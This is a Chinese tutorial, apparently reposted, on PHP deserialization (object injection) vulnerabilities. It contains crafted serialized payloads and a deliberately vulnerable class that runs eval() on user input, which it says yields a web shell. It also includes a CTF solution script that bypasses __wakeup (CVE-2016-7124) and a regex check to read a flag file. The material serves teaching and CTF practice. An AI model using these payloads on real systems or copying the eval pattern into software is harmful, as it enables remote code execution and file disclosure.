详解php反序列化
当用户的请求在传给反序列化函数unserialize()之前没有被正确的过滤时就会产生漏洞。因为PHP允许对象序列化,攻击者就可以提交特定的序列化的字符串给一个具有该漏洞的unserialize函数,最终导致一个在该应用范围内的任意PHP对象注入。 对象漏洞出现得满足两个前提: 一、unserialize的参数可控。 二、 代码里有定义一个含有魔术方法的类,并且该方法里出现一些使用类成员变量作为参数的存在安全问题的函数。 <?php class A{ var $test = "demo"; function __destruct(){ echo $this->test; } } $a = $_GET['test']; $a_unser = unserialize($a); ?> 比如这个列子,直接是用户生成的内容传递给unserialize()函数,那就可以构造这样的语句 ?test=O:1:"A":1:{s:4:"test";s:5:"lemon";} 在脚本运行结束后便会调用_destruct函数,同时会覆盖test变量输出lemon。 发现这个漏洞,便可以利用这个漏洞点控制输入变量,拼接成一个序列化对象。 再看一个例子: <?php class A{ var $test = "demo"; function __destruct(){ @eval($this->test);//_destruct()函数中调用eval执行序列化对象中的语句 } } $test = $_POST['test']; $len = strlen($test)+1; $pp = "O:1:"A":1:{s:4:"test";s:".$len.":"".$test.";";}"; // 构造序列化对象 $test_unser = unserialize($pp); // 反序列化同时触发_destruct函数 ?> 其实仔细观察就会发现,其实我们手动构造序列化对象就是为了unserialize()函数能够触发__destruc()函数,然后执行在__destruc()函数里恶意的语句。 所以我们利用这个漏洞点便可以获取web shell了 6 绕过魔法函数的反序列化 wakeup()魔法函数绕过 PHP5<5.6.25 PHP7<7.0.10 PHP反序列化漏洞CVE-2016-7124 #a#重点:当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup 函数的执行 百度杯——Hash 其实仔细分析代码,只要我们能绕过两点即可得到f15g_1s_here.php的内容 (1)绕过正则表达式对变量的检查 那么问题就来了,如果绕过正则表达式 (2)绕过_wakeup()魔法函数,上面提到了当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 _wakeup 函数的执行 编写php序列化脚本 <?php class Demo { private $file = 'Gu3ss_m3_h2h2.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'Gu3ss_m3_h2h2.php') { //the secret is in the f15g_1s_here.php $this->file = 'Gu3ss_m3_h2h2.php'; } } } #先创建一个对象,自动调用__construct魔法函数 $obj = new Demo('f15g_1s_here.php'); #进行序列化 $a = serialize($obj); #使用str_replace() 函数进行替换,来绕过正则表达式的检查 $a = str_replace('O:4:','O:+4:',$a); #使用str_replace() 函数进行替换,来绕过__wakeup()魔法函数 $a = str_replace(':1:',':2:',$a); #再进行base64编码 echo base64_encode($a); ?> (编辑:晋中站长网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |